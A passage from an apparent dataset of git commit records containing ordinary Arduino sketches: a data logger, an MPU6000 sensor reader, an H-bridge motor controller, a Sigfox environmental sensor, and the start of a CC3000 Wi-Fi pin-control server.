dataFile.write((uint8_t *)packetBuffer, i);\n dataFile.flush();\n redTime = packetTime + errorFlash;\n digitalWrite(redPin, HIGH);\n digitalWrite(redPin2, HIGH);\n }\n if ((millis() - packetTime) > timeOut)\n s = 3;\n break;\n\n case 3: \/\/ close\n dataFile.print(\"\\r\\n\");\n dataFile.close();\n s = 0;\n break;\n\n case 7: \/\/ error\n break;\n\n } \/\/ switch s\n\n\n \/\/led state machine\n\n switch(ledState) {\n case 0:\n if (millis() > redTime) {\n digitalWrite(redPin, LOW);\n digitalWrite(redPin2, LOW);\n }\n if ( millis() > grnTime) {\n digitalWrite(grnPin, HIGH);\n digitalWrite(grnPin2, HIGH);\n grnTime = millis() + shortOn;\n ledState = 1;\n }\n break;\n\n case 1:\n if (millis() > redTime) {\n digitalWrite(redPin, LOW);\n digitalWrite(redPin2, LOW);\n }\n if (millis() > grnTime) {\n digitalWrite(grnPin, LOW);\n digitalWrite(grnPin2, LOW);\n grnTime = millis() + shortOff;\n if (s == 0)\n ledState = 3;\n else\n ledState = 2;\n }\n break;\n\n case 2:\n if (millis() > redTime) {\n digitalWrite(redPin, LOW);\n digitalWrite(redPin2, LOW);\n }\n if ( millis() > grnTime) {\n digitalWrite(grnPin, HIGH);\n digitalWrite(grnPin2, HIGH);\n grnTime = millis() + shortOn;\n ledState = 3;\n }\n break;\n\n case 3:\n if (millis() > redTime) {\n digitalWrite(redPin, LOW);\n digitalWrite(redPin2, LOW);\n }\n if (millis() > grnTime) {\n digitalWrite(grnPin, LOW);\n digitalWrite(grnPin2, LOW);\n grnTime = millis() + longOff;\n if (s == 7)\n ledState = 4;\n else\n ledState = 0;\n }\n break;\n\n case 4:\n if (millis() > grnTime) {\n grnTime = millis() + shortOff;\n digitalWrite(grnPin, HIGH);\n digitalWrite(grnPin2, HIGH);\n digitalWrite(redPin, LOW);\n digitalWrite(redPin2, LOW);\n ledState = 5;\n }\n break;\n\n case 5:\n if (millis() > grnTime) {\n grnTime = millis() + shortOff;\n digitalWrite(grnPin, LOW);\n digitalWrite(grnPin2, LOW);\n digitalWrite(redPin, HIGH);\n digitalWrite(redPin2, HIGH);\n if (s == 7)\n ledState = 4;\n else\n ledState = 3;\n }\n break; \n } \/\/ led switch\n\n if (millis() > muxTime) {\n temp = (float)analogRead(0) * 0.488;\n adc[chan] = (int)temp;\n \/\/Serial.println(adc[chan]);\n if (++chan > 5) chan = 0;\n mux(chan);\n muxTime = millis() + 50;\n }\n} \/\/ loop\n\n\n\n\/\/ --------------------------------------------------\n\/\/ switch the mux channels\n\/\/ --------------------------------------------------\nvoid mux(char chan) {\n switch(chan) {\n case 0: \/\/ sensor 0\n digitalWrite(a0Pin, LOW);\n digitalWrite(a1Pin, LOW);\n digitalWrite(a2Pin, LOW);\n break;\n\n case 1: \/\/ sensor 1\n digitalWrite(a0Pin, HIGH);\n digitalWrite(a1Pin, LOW);\n digitalWrite(a2Pin, LOW);\n break;\n\n case 2: \/\/ sensor 2\n digitalWrite(a0Pin, LOW);\n digitalWrite(a1Pin, HIGH);\n digitalWrite(a2Pin, LOW);\n break;\n\n case 3: \/\/ sensor 3\n digitalWrite(a0Pin, HIGH);\n digitalWrite(a1Pin, HIGH);\n digitalWrite(a2Pin, LOW);\n break;\n\n case 4: \/\/ sensor 4\n digitalWrite(a0Pin, LOW);\n digitalWrite(a1Pin, LOW);\n digitalWrite(a2Pin, HIGH);\n break;\n \n case 5:\n digitalWrite(a0Pin, HIGH);\n digitalWrite(a1Pin, LOW);\n digitalWrite(a2Pin, HIGH);\n break;\n }\n\n}\n\n\n\/\/ --------------------------------------------------\n\/\/ convert byte to decimal\n\/\/ --------------------------------------------------\nbyte bcdToDec(byte val) {\n return ((val \/ 16 * 10) + (val % 16));\n}\n\n\n\/\/ --------------------------------------------------\n\/\/ print the time from the RTC\n\/\/ --------------------------------------------------\nvoid printTime() {\n char buffer[3];\n const char* AMPM = 0;\n readTime();\n Serial.print(\"20\");\n Serial.print(year);\n Serial.print(\"-\");\n Serial.print(month);\n Serial.print(\"-\");\n Serial.print(day);\n\n Serial.print(\" \");\n if (hour > 12) {\n hour -= 12;\n AMPM = \" PM\";\n }\n else AMPM = \" AM\";\n Serial.print(hour);\n Serial.print(\":\");\n sprintf(buffer, \"%02d\", minute);\n Serial.print(buffer);\n Serial.println(AMPM);\n}\n\n\n\/\/ --------------------------------------------------\n\/\/ read the time from the RTC\n\/\/ --------------------------------------------------\nvoid readTime() {\n Wire.beginTransmission(DS1307);\n Wire.write(byte(0));\n Wire.endTransmission();\n Wire.requestFrom(DS1307, 7);\n second = bcdToDec(Wire.read());\n minute = bcdToDec(Wire.read());\n hour = bcdToDec(Wire.read());\n Wire.read();\n day = bcdToDec(Wire.read());\n month = bcdToDec(Wire.read());\n year = bcdToDec(Wire.read());\n\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'datalogger.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"d37647688beaef0addf904a817375aeb0119c9db","subject":"Adding a program to print the inertial sensor values.","message":"Adding a program to print the inertial sensor values.\n","repos":"sensics\/Latency-Test,sensics\/Latency-Test,sensics\/Latency-Test,sensics\/Latency-Test","old_file":"Latency_Hardware\/OSVR_Latency_hardware_firmware\/print_inertial\/print_inertial.ino","new_file":"Latency_Hardware\/OSVR_Latency_hardware_firmware\/print_inertial\/print_inertial.ino","new_contents":"\/\/ OSRVR latency-testing hardware firmware source code.\n\/\/ Author: Russell Taylor working for Sensics.com through ReliaSolve.com\n\/\/ LICENSE: Apache License 2.0.\n\n\/\/ This code is based on the \"Accelerometer_Gyro_Shield_test\" example from\n\/\/ Robogaia industries that ships along with their 6-axis Gyro\/Accelerometer\n\/\/ shield. That source is available from Robogaia.com.\n\n\/\/ This code also uses information from the Blink example modified by Scott\n\/\/ Fitzgerald that came with the Arduino.\n\/\/ This code uses information from the AnalogReadSerial example that\n\/\/ came with the Arduino.\n\n\/\/some other examples for MPU6000 code\n\/\/http:\/\/arduino.cc\/en\/Tutorial\/BarometricPressureSensor\n\/\/http:\/\/code.google.com\/p\/ardu-imu\/downloads\/detail?name=ArduIMU_1.9.zip&can=2&q=\n\n\/*\n Circuit:\n MPU6000 sensor attached to the SPI communications circuit using pins 10 - 13:\n NOTE: Pin 13 is also the pin that controls the on-board LED, so it cannot be\n used for LED indication when SPI communication is happening.\n CSB: pin 10\n MOSI: pin 11\n MISO: pin 12\n SCK: pin 13\n *\/\n\n\/\/ the sensor communicates using SPI, so include the library:\n#include <SPI.h>\n\n\/\/MPU 6000 register addresses\nconst int ACCEL_XOUT_H = 0x3B; \/\/59 R ACCEL_XOUT[15:8]\nconst int ACCEL_XOUT_L = 0x3C; \/\/60 R ACCEL_XOUT[7:0]\nconst int ACCEL_YOUT_H = 0x3D; \/\/61 R ACCEL_YOUT[15:8]\nconst int ACCEL_YOUT_L = 0x3E; \/\/62 R ACCEL_YOUT[7:0]\nconst int ACCEL_ZOUT_H = 0x3F; \/\/63 R ACCEL_ZOUT[15:8]\nconst int ACCEL_ZOUT_L = 0x40; \/\/64 R ACCEL_ZOUT[7:0]\nconst int TEMP_OUT_H = 0x41; \/\/65 R TEMP_OUT[15:8]\nconst int TEMP_OUT_L = 0x42; \/\/66 R TEMP_OUT[7:0]\nconst int GYRO_XOUT_H = 0x43; \/\/67 R GYRO_XOUT[15:8]\nconst int GYRO_XOUT_L = 0x44; \/\/68 R GYRO_XOUT[7:0]\nconst int GYRO_YOUT_H = 0x45; \/\/69 R GYRO_YOUT[15:8]\nconst int GYRO_YOUT_L = 0x46; \/\/70 R GYRO_YOUT[7:0]\nconst int GYRO_ZOUT_H = 0x47; \/\/71 R GYRO_ZOUT[15:8]\nconst int GYRO_ZOUT_L = 0x48; \/\/72 RGYRO_ZOUT[7:0]\n\nconst int READ_FLAG =0x80; \/\/128 has to be added to the address register\n\n\/\/ MPU 6000 registers\n#define MPUREG_WHOAMI 0x75 \/\/\n#define\tMPUREG_SMPLRT_DIV 0x19 \/\/\n#define MPUREG_CONFIG 0x1A \/\/\n#define MPUREG_GYRO_CONFIG 0x1B\n#define MPUREG_ACCEL_CONFIG 0x1C\n#define MPUREG_INT_PIN_CFG 0x37\n#define\tMPUREG_INT_ENABLE 0x38 \n#define MPUREG_ACCEL_XOUT_H 0x3B \/\/\n#define MPUREG_ACCEL_XOUT_L 0x3C \/\/\n#define MPUREG_ACCEL_YOUT_H 0x3D \/\/\n#define MPUREG_ACCEL_YOUT_L 0x3E \/\/\n#define MPUREG_ACCEL_ZOUT_H 0x3F \/\/\n#define MPUREG_ACCEL_ZOUT_L 0x40 \/\/\n#define MPUREG_TEMP_OUT_H 0x41\/\/\n#define MPUREG_TEMP_OUT_L 0x42\/\/\n#define MPUREG_GYRO_XOUT_H 0x43 \/\/ \n#define\tMPUREG_GYRO_XOUT_L 0x44 \/\/\n#define MPUREG_GYRO_YOUT_H 0x45 \/\/\n#define\tMPUREG_GYRO_YOUT_L 0x46 \/\/\n#define MPUREG_GYRO_ZOUT_H 0x47 \/\/\n#define\tMPUREG_GYRO_ZOUT_L 0x48 \/\/\n#define MPUREG_USER_CTRL 0x6A \/\/\n#define\tMPUREG_PWR_MGMT_1 0x6B \/\/\n#define\tMPUREG_PWR_MGMT_2 0x6C \/\/\n\n\/\/ Configuration bits MPU 6000\n#define BIT_SLEEP 0x40\n#define BIT_H_RESET 0x80\n#define BITS_CLKSEL 0x07\n#define MPU_CLK_SEL_PLLGYROX 0x01\n#define MPU_CLK_SEL_PLLGYROZ 0x03\n#define MPU_EXT_SYNC_GYROX 0x02\n#define BITS_FS_250DPS 0x00\n#define BITS_FS_500DPS 0x08\n#define BITS_FS_1000DPS 0x10\n#define BITS_FS_2000DPS 0x18\n#define BITS_FS_2G 0x00\n#define BITS_FS_4G 0x08\n#define BITS_FS_8G 0x10\n#define BITS_FS_16G 0x18\n#define BITS_FS_MASK 0x18\n#define BITS_DLPF_CFG_256HZ_NOLPF2 0x00\n#define BITS_DLPF_CFG_188HZ 0x01\n#define BITS_DLPF_CFG_98HZ 0x02\n#define BITS_DLPF_CFG_42HZ 0x03\n#define BITS_DLPF_CFG_20HZ 0x04\n#define BITS_DLPF_CFG_10HZ 0x05\n#define BITS_DLPF_CFG_5HZ 0x06\n#define BITS_DLPF_CFG_2100HZ_NOLPF 0x07\n#define BITS_DLPF_CFG_MASK 0x07\n#define\tBIT_INT_ANYRD_2CLEAR\t 0x10\n#define\tBIT_RAW_RDY_EN\t\t 0x01\n#define\tBIT_I2C_IF_DIS 0x10\n\n#undef VERBOSE\n#undef VERBOSE2\n\n\/\/ pins used for the connection with the sensor\n\/\/ the other you need are controlled by the SPI library):\nconst int chipSelectPin = 10;\n\n\/\/*****************************************************\nvoid setup() \n\/\/*****************************************************\n{\n Serial.begin(9600);\n Serial.print(\"OSVR_latency_hardware_firmware print_intertial v01.00.00\\n\");\n \n MPU6000_Init();\n delay(100);\n}\n\n\/\/*****************************************************\nvoid loop() \n\/\/*****************************************************\n{\n int accX, accY, accZ;\n int gyroX, gyroY, gyroZ;\n accX = getXAccelerometerCounts();\n accY = getYAccelerometerCounts();\n accZ = getZAccelerometerCounts();\n gyroX = getXGyroCounts();\n gyroY = getYGyroCounts();\n gyroZ = getZGyroCounts();\n\n Serial.print(\"Acc XYZ, Gyro XYZ \"); Serial.print(accX);\n Serial.print(\" \"); Serial.print(accY);\n Serial.print(\" \"); Serial.print(accZ);\n Serial.print(\", \"); Serial.print(gyroX);\n Serial.print(\" \"); Serial.print(gyroY);\n Serial.print(\" \"); Serial.print(gyroZ);\n Serial.print(\"\\n\");\n delay(500);\n}\n\n\/\/*****************************************************\nint getXAccelerometerCounts(void)\n\/\/*****************************************************\n{\n int tempData_HI,tempData_LO;\n \/\/Read the data\n tempData_HI = readRegister(ACCEL_XOUT_H);\n tempData_LO = readRegister(ACCEL_XOUT_L );\n \n return ((tempData_HI << 8) | tempData_LO);\n \n}\/\/end func\n\n\/\/***************************************************** \nint getYAccelerometerCounts(void)\n\/\/*****************************************************\n{\n int tempData_HI,tempData_LO;\n \n tempData_HI = readRegister(ACCEL_YOUT_H);\n tempData_LO = readRegister(ACCEL_YOUT_L );\n \n return ((tempData_HI << 8) + tempData_LO);\n}\/\/end func\n \n\/\/***************************************************** \nint getZAccelerometerCounts(void)\n\/\/*****************************************************\n{\n int tempData_HI,tempData_LO;\n \n tempData_HI = readRegister(ACCEL_ZOUT_H );\n tempData_LO = readRegister(ACCEL_ZOUT_L );\n \n return ((tempData_HI << 8) + tempData_LO);\n \n}\/\/end func\n\n\/\/*****************************************************\nint getXGyroCounts(void)\n\/\/*****************************************************\n{\n int tempData_HI,tempData_LO;\n \n tempData_HI = readRegister(GYRO_XOUT_H );\n tempData_LO = readRegister(GYRO_XOUT_L );\n \n return ((tempData_HI << 8) + tempData_LO);\n}\/\/end func\n\n\/\/*****************************************************\nint getYGyroCounts(void)\n\/\/*****************************************************\n{\n int tempData_HI,tempData_LO;\n \n tempData_HI = readRegister(GYRO_YOUT_H);\n tempData_LO = readRegister(GYRO_YOUT_L );\n \n return ((tempData_HI << 8) + tempData_LO);\n}\/\/end func \n\n\/\/*****************************************************\nint getZGyroCounts(void)\n\/\/*****************************************************\n{\n int tempData_HI,tempData_LO;\n \n tempData_HI = readRegister(GYRO_ZOUT_H);\n tempData_LO = readRegister(GYRO_ZOUT_L);\n \n return ((tempData_HI << 8) + tempData_LO);\n}\/\/end func \n\n\n\/\/Read from register\n\/\/*****************************************************\nunsigned int readRegister(byte thisRegister) \n\/\/*****************************************************\n{\n unsigned int result = 0; \/\/ result to return\n byte addr = thisRegister + 0x80;\n \/\/ Serial.print(thisRegister, BIN);\n \/\/ byte dataToSend = thisRegister ;\n \/\/Serial.println(thisRegister, BIN);\n \/\/ take the chip select low to select the device:\n digitalWrite(chipSelectPin, LOW);\n \/\/ send the device the register you want to read:\n SPI.transfer(addr);\n \/\/ send a value of 0 to read the first byte returned:\n result = SPI.transfer(0x00);\n \/\/ take the chip select high to de-select:\n digitalWrite(chipSelectPin, HIGH);\n \/\/ return the result:\n return(result);\n}\n\n\n\/\/Write to register\n\/\/*****************************************************\nvoid writeRegister(byte thisRegister, byte thisValue) \n\/\/*****************************************************\n{\n thisRegister = thisRegister ;\n \/\/ now combine the register address and the command into one byte:\n byte dataToSend = thisRegister;\n\n \/\/ take the chip select low to select the device:\n digitalWrite(chipSelectPin, LOW);\n\n SPI.transfer(dataToSend); \/\/Send register location\n SPI.transfer(thisValue); \/\/Send value to record into register\n\n \/\/ take the chip select high to de-select:\n digitalWrite(chipSelectPin, HIGH);\n}\/\/\n\n\n\/\/ MPU6000 Initialization and configuration\n\/\/*************************************************\nvoid MPU6000_Init(void)\n\/\/*************************************************\n{\n \/\/ MPU6000 chip select setup\n pinMode(chipSelectPin, OUTPUT);\n digitalWrite(chipSelectPin, HIGH);\n \n \/\/ SPI initialization\n SPI.begin();\n SPI.setClockDivider(SPI_CLOCK_DIV16); \/\/ SPI at 1Mhz (on 16Mhz clock)\n delay(10);\n \n \/\/ Chip reset\n writeRegister(MPUREG_PWR_MGMT_1, BIT_H_RESET);\n delay(100);\n\n \/\/ Wake up device and select GyroZ clock (better performance)\n writeRegister(MPUREG_PWR_MGMT_1, MPU_CLK_SEL_PLLGYROZ);\n delay(1);\n\n \/\/ Disable I2C bus (recommended on datasheet)\n writeRegister(MPUREG_USER_CTRL, BIT_I2C_IF_DIS);\n delay(1);\n\n \/\/ Set the sampling rate. We do this by setting the divisor on the rate,\n \/\/ which has a base update rate of 1kHz. The number we use here is added\n \/\/ to 1 and then used as a divisor: Rate = 1Khz \/ (value + 1). So a value\n \/\/ of 0 is 1 kHz, a value of 4 is 200Hz, and a value of 19 is 50Hz.\n \/\/ We want to sample as rapidly as possible, so that we have the minimum\n \/\/ latency between motion and its detection. Even at 1kHz, we're going to\n \/\/ have some fraction of a second of latency on our reads.\n writeRegister(MPUREG_SMPLRT_DIV,0);\n delay(1);\n\n \/\/ Set the filter pass frequency on the low-pass filter to the maximum\n \/\/ (no filter, corresponding to a 2.1Khz cutoff).\n writeRegister(MPUREG_CONFIG, BITS_DLPF_CFG_2100HZ_NOLPF);\n delay(1);\n \n \/\/ Set the measurement scale on the gyros and the accelerometers.\n \/\/ From the data sheet: For precision tracking of both fast and slow\n \/\/ motions, the parts feature a user-programmable gyroscope full-scale range\n \/\/ of \u00b1250, \u00b1500, \u00b11000, and \u00b12000\u00b0\/sec (dps) and a user-programmable accelerometer\n \/\/ full-scale range of \u00b12g, \u00b14g, \u00b18g, and \u00b116g.\n \/\/ We set the sensitivity to match the example app, which got good full-scale results.\n writeRegister(MPUREG_GYRO_CONFIG,BITS_FS_2000DPS);\n delay(1);\n writeRegister(MPUREG_ACCEL_CONFIG,BITS_FS_4G);\n delay(1); \n\n \/\/ Oscillator set\n writeRegister(MPUREG_PWR_MGMT_1,MPU_CLK_SEL_PLLGYROZ);\n delay(1);\n}\n\r\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Latency_Hardware\/OSVR_Latency_hardware_firmware\/print_inertial\/print_inertial.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"97dbe88dad87a0ab61dbabf32b4b51206d0daf9d","subject":"add arduino program to control Hbridge from potentiometer reading","message":"add arduino program to control Hbridge from potentiometer reading\n","repos":"baptistelabat\/robokite,baptistelabat\/robokite,baptistelabat\/robokite,baptistelabat\/robokite,baptistelabat\/robokite,baptistelabat\/robokite,baptistelabat\/robokite,baptistelabat\/robokite","old_file":"HBridgePWM\/HBridgePWM.ino","new_file":"HBridgePWM\/HBridgePWM.ino","new_contents":"\/\/ constants won't change. Used here to \n\/\/ set pin numbers:\nconst int HbridgeEnablePin = 13;\nconst int HbridgeLogicPin1 = 4;\nconst int HbridgeLogicPin2 = 5;\nint sensorValue = 0; \/\/ value read from the potentiometer\n\/\/ These constants won't change. They're used to give names\n\/\/ to the pins used:\nconst int analogInPin = A0; \/\/ Analog input pin that the potentiometer is attached to\n\nvoid setup()\n{\n \/\/ set the digital pin as output:\n pinMode(HbridgeEnablePin, OUTPUT);\n pinMode(HbridgeLogicPin1, OUTPUT);\n pinMode(HbridgeLogicPin2, OUTPUT);\n \/\/ initialize serial communications at 9600 bps:\n Serial.begin(9600); \n\n}\n\nvoid loop()\n{\n digitalWrite(HbridgeEnablePin, HIGH);\n double minTime_ms = 30;\/\/Minimal time to have motor starting at maximum voltage\n \/\/ read the analog in value:\n double sensorValueMin = 255;\/\/0\n double sensorValueMax = 767;\/\/1023\n double deadBand = 0.05; \/\/ Should not be zero\n sensorValue = analogRead(analogInPin);\n double alphaSigned = 2*((sensorValue-sensorValueMin)\/(sensorValueMax - sensorValueMin)-0.5); \n double alpha = max(fabs(alphaSigned), deadBand);\n alpha = min(alpha, 1);\n if (alphaSigned>fabs(deadBand))\n {\n digitalWrite(HbridgeLogicPin1, HIGH);\n digitalWrite(HbridgeLogicPin2, LOW);\n }\n else \n {\n if (alphaSigned<-fabs(deadBand))\n {\n digitalWrite(HbridgeLogicPin1, LOW);\n digitalWrite(HbridgeLogicPin2, HIGH);\n }\n else\n {\n digitalWrite(HbridgeLogicPin1, LOW);\n digitalWrite(HbridgeLogicPin2, LOW);\n }\n }\n delay(minTime_ms);\n\n sensorValue = analogRead(analogInPin);\n alphaSigned = 2*((sensorValue-sensorValueMin)\/(sensorValueMax - sensorValueMin)-0.5); \n alpha = max(fabs(alphaSigned), deadBand);\n alpha = min(alpha, 1);\n if (alphaSigned>fabs(deadBand))\n {\n digitalWrite(HbridgeLogicPin1, HIGH);\n digitalWrite(HbridgeLogicPin2, LOW);\n }\n else \n {\n if (alphaSigned<-fabs(deadBand))\n {\n digitalWrite(HbridgeLogicPin1, LOW);\n digitalWrite(HbridgeLogicPin2, HIGH);\n }\n else\n {\n digitalWrite(HbridgeLogicPin1, LOW);\n digitalWrite(HbridgeLogicPin2, LOW);\n }\n }\n double initialTime = millis();\n double elapsedTime_ms = millis() - initialTime;\n while (elapsedTime_ms < minTime_ms\/alpha*(1-alpha)-minTime_ms)\n {\n digitalWrite(HbridgeEnablePin, LOW);\n delay(minTime_ms);\n sensorValue = analogRead(analogInPin);\n Serial.print(\"sensorValue = \" ); \n Serial.println(sensorValue); \n alphaSigned = 2*((sensorValue-sensorValueMin)\/(sensorValueMax - sensorValueMin)-0.5); \n Serial.print(\"alphaSigned = \" ); \n Serial.println(alphaSigned); \n alpha = max(fabs(alphaSigned), deadBand);\n alpha = min(alpha, 1);\n if (alphaSigned>fabs(deadBand))\n {\n digitalWrite(HbridgeLogicPin1, HIGH);\n digitalWrite(HbridgeLogicPin2, LOW);\n }\n else \n {\n if (alphaSigned<-fabs(deadBand))\n {\n digitalWrite(HbridgeLogicPin1, LOW);\n digitalWrite(HbridgeLogicPin2, HIGH);\n }\n else\n {\n digitalWrite(HbridgeLogicPin1, LOW);\n digitalWrite(HbridgeLogicPin2, LOW);\n }\n }\n Serial.print(\"alpha = \" ); \n Serial.println(alpha); \n elapsedTime_ms = millis() - initialTime;\n Serial.print(\"elapsedTime_ms = \" ); \n Serial.println(elapsedTime_ms); \n }\n digitalWrite(HbridgeEnablePin, LOW);\n delay(fabs(minTime_ms\/alpha*(1-alpha)- elapsedTime_ms));\n\n \/\/ print the results to the serial monitor:\n Serial.print(\"alphaManual = \" ); \n Serial.print(alphaSigned); \n Serial.print(\"\\t alphaUsed = \"); \n Serial.println(alphaSigned); \n}\n\n\n\n\n","old_contents":"","returncode":128,"stderr":"fatal: invalid reference: FETCH_HEAD^\n","license":"mit","lang":"Arduino"} {"commit":"3d696e5a309f99ca88e95885618c768ee34b4321","subject":"Added Arduino file for Sigfox DHT module","message":"Added Arduino file for Sigfox DHT module\n","repos":"embee8\/sigfox-xively-connector,embee8\/sigfox-xively-connector","old_file":"embedded\/sigfox01v2.ino","new_file":"embedded\/sigfox01v2.ino","new_contents":"\/*\n * This programme reads the temperature (Celsius), relative humidity, and light (0-1000) and sends it to Sigfox every 10 minutes\n *\/\n \n#include <Wire.h>\n#include <arduinoUART.h>\n#include <arduinoUtils.h>\n#include <arduinoSigfox.h>\n\n#include <DHT.h>\n#define DHTTYPE DHT22\n#define LEDONBOARD 13\n#define DHTPIN 2\n#define LEDREAD 3\n#define LEDACK 4\n#define LEDERROR 5\nDHT dht(DHTPIN, DHTTYPE, 11); \/\/ 11 works fine for ESP8266\n\nfloat humidity, temperature;\nint light;\nint secondsdelay = 600;\n\n\/\/ define union-type variables for the temperature and humidity that we can use when sending data to Sigfox\nunion\n{\n uint8_t values[4];\n float temperature;\n} temperature_union;\n\nunion\n{\n uint8_t values[4];\n float humidity;\n} humidity_union;\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\nuint8_t socket = SOCKET0; \/\/Asign to UART0\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nuint8_t error;\n\nvoid getReadings() {\n humidity = dht.readHumidity();\n temperature = dht.readTemperature();\n if (isnan(humidity) || isnan(temperature)) {\n humidity = 0;\n temperature = 0;\n }\n\n temperature_union.temperature = temperature;\n humidity_union.humidity = humidity;\n light = analogRead(0);\n}\n\n\nvoid setup()\n{\n pinMode(LEDONBOARD, OUTPUT);\n digitalWrite(LEDONBOARD, LOW);\n pinMode(LEDREAD, OUTPUT);\n pinMode(LEDACK, OUTPUT);\n pinMode(LEDERROR, OUTPUT);\n blinkn (3,LEDREAD);\n blinkn (3,LEDACK);\n blinkn (3,LEDERROR);\n \/\/ Set up sensors\n dht.begin();\n delay (200);\n getReadings();\n}\n\nvoid blinkn (int i, int pin ) {\n int j;\n for (j=0; j < i; j++) {\n digitalWrite(pin, HIGH);\n delay (100);\n digitalWrite(pin, LOW);\n delay (100); \n }\n}\n\nvoid loop()\n{ \n error = Sigfox.ON(socket);\n if( error != 0 ) {\n blinkn (3,LEDONBOARD);\n } else {\n blinkn (3,LEDREAD);\n getReadings();\n \n \/*\n * Old message structure (using 2 byte integers instead of 4 byte float values\n * \n int16_t temperatureb2 = (int16_t)(temperature * 100);\n int16_t humidityb2 = (int16_t)(humidity * 100);\n int16_t lightb2 = (int16_t)(light);\n byte data[6];\n data[0] = temperatureb2 >> 8;\n data[1] = temperatureb2 & 0xFF;\n data[2] = humidityb2 >> 8;\n data[3] = humidityb2 & 0xFF;\n data[4] = lightb2 >> 8;\n data[5] = lightb2 & 0xFF;*\/\n\n int16_t lightb2 = (int16_t)(light);\n byte data[10];\n\n data[0] = temperature_union.values[3]; \/\/ big-endian\n data[1] = temperature_union.values[2];\n data[2] = temperature_union.values[1];\n data[3] = temperature_union.values[0];\n\n data[4] = humidity_union.values[3]; \/\/ big-endian\n data[5] = humidity_union.values[2];\n data[6] = humidity_union.values[1];\n data[7] = humidity_union.values[0];\n\n data[8] = lightb2 >> 8;\n data[9] = lightb2 & 0xFF;\n \n error = Sigfox.sendACK(data, sizeof(data));\n if( error == 0 ) {\n blinkn (3,LEDACK);\n } else {\n blinkn (3,LEDERROR);\n }\n }\n blinkn (6,LEDONBOARD);\n delay(600000);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'embedded\/sigfox01v2.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"9a090968abb546e47606a7bec002e6184391d6d5","subject":"Simplifying","message":"Simplifying\n\nDimming didn't make a lot of sense. 32 leds make a lot of light for something that\njust needs to glow. So I just turned the brightness down to 30\nwhich seems to be a good value for a nighttime bedroom.\n","repos":"buelowp\/sleepintimer","old_file":"sleepintimer\/sleepintimer.ino","new_file":"sleepintimer\/sleepintimer.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/buelowp\/sleepintimer.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"17399de94b0bbdd36e9887bc9747ceec879d7a5b","subject":"Evothings Arduino CC3000 Wifi Module","message":"Evothings Arduino CC3000 Wifi Module\n\nThis is an example of how to use CC3000 with Evothings","repos":"gokr\/evothings-examples,nbezembinder1\/evothings-examples,gokr\/evothings-examples,divineprog\/evothings-examples,InMyOrbit\/evothings-examples,nbezembinder1\/evothings-examples,nbezembinder1\/evothings-examples,evothings\/evothings-examples,nbezembinder1\/evothings-examples,nbezembinder1\/evothings-examples,divineprog\/evothings-examples,mikaelkindborg\/evothings-examples,gokr\/evothings-examples,InMyOrbit\/evothings-examples,evothings\/evothings-examples,mikaelkindborg\/evothings-examples,mikaelkindborg\/evothings-examples,InMyOrbit\/evothings-examples,divineprog\/evothings-examples,divineprog\/evothings-examples,gokr\/evothings-examples,gokr\/evothings-examples,evothings\/evothings-examples","old_file":"resources\/arduino\/arduinowifi\/arduinowifi_cc3000.ino","new_file":"resources\/arduino\/arduinowifi\/arduinowifi_cc3000.ino","new_contents":"\/*\nArduino CC3000 Wifi Module\nCreated January 15, 2016\nKlaus Camilleri\n\nThis example is a mix of both an example written by Adafruit team & Wifi example written by Mikael Kindborg, Evothings AB\n\nTCP socket server that accept commands for basic scripting\nof the Arduino board.\nThis example is written for a network using WPA encryption.\nFor WEP or WPA, change the Wifi.begin() call accordingly.\nThe API consists of the requests listed below.\nRequests and responses end with a new line.\nThe input parameter n is a pin number ranging from 2 to 9.\nThe response is always a 4-character string with a\nhex encoded number ranging from 0 to FFFF.\nPossible response string values:\nH (result from digital read)\nL (result from digital read)\n0 to 1023 - Analog value (result from analog read)\nSet pin mode to OUTPUT for pin n: On\nResponse: None\nExample: O5\nNote: O is upper case letter o, not digit zero (0).\nSet pin mode to INPUT for pin n: In\nResponse: None\nExample: I5\nWrite LOW to pin n: Ln\nResponse: None\nExample: L5\nWrite HIGH to pin n: Hn\nResponse: None\nExample: H5\nREAD pin n: Rn\nResponse: \"H\" (HIGH) or \"L\" (LOW)\nExample: R5 -> H\nANALOG read pin n: An\nResponse: int value as string (range \"0\" to \"1023\")\nExample: A5 -> 42\n*\/\n\n#include <Adafruit_CC3000.h>\n#include <SPI.h>\n\n\/\/ These are the interrupt and control pins\n#define ADAFRUIT_CC3000_IRQ 3 \/\/ MUST be an interrupt pin!\n\/\/ These can be any two pins\n#define ADAFRUIT_CC3000_VBAT 5\n#define ADAFRUIT_CC3000_CS 10\n\/\/ Use hardware SPI for the remaining pins\n\/\/ On an UNO, SCK = 13, MISO = 12, and MOSI = 11\n\nAdafruit_CC3000 cc3000 = Adafruit_CC3000(ADAFRUIT_CC3000_CS, ADAFRUIT_CC3000_IRQ, ADAFRUIT_CC3000_VBAT,\n SPI_CLOCK_DIVIDER); \/\/ you can change this clock speed\n\n#define WLAN_SSID \"wifi\" \/\/ cannot be longer than 32 characters!\n#define WLAN_PASS \"password\"\n\/\/ Security can be WLAN_SEC_UNSEC, WLAN_SEC_WEP, WLAN_SEC_WPA or WLAN_SEC_WPA2\n#define WLAN_SECURITY WLAN_SEC_WPA2\n\n#define LISTEN_PORT 3300 \/\/ What TCP port to listen on for connections. \n\n#define BUFFER_SIZE 120\n\n#define TIMEOUT_MS 500 \/\/ Amount of time in milliseconds to wait for\n \/\/ an incoming request to finish. Don't set this\n \/\/ too high or your server could be slow to respond.\n\nAdafruit_CC3000_Server httpServer(LISTEN_PORT);\nuint8_t 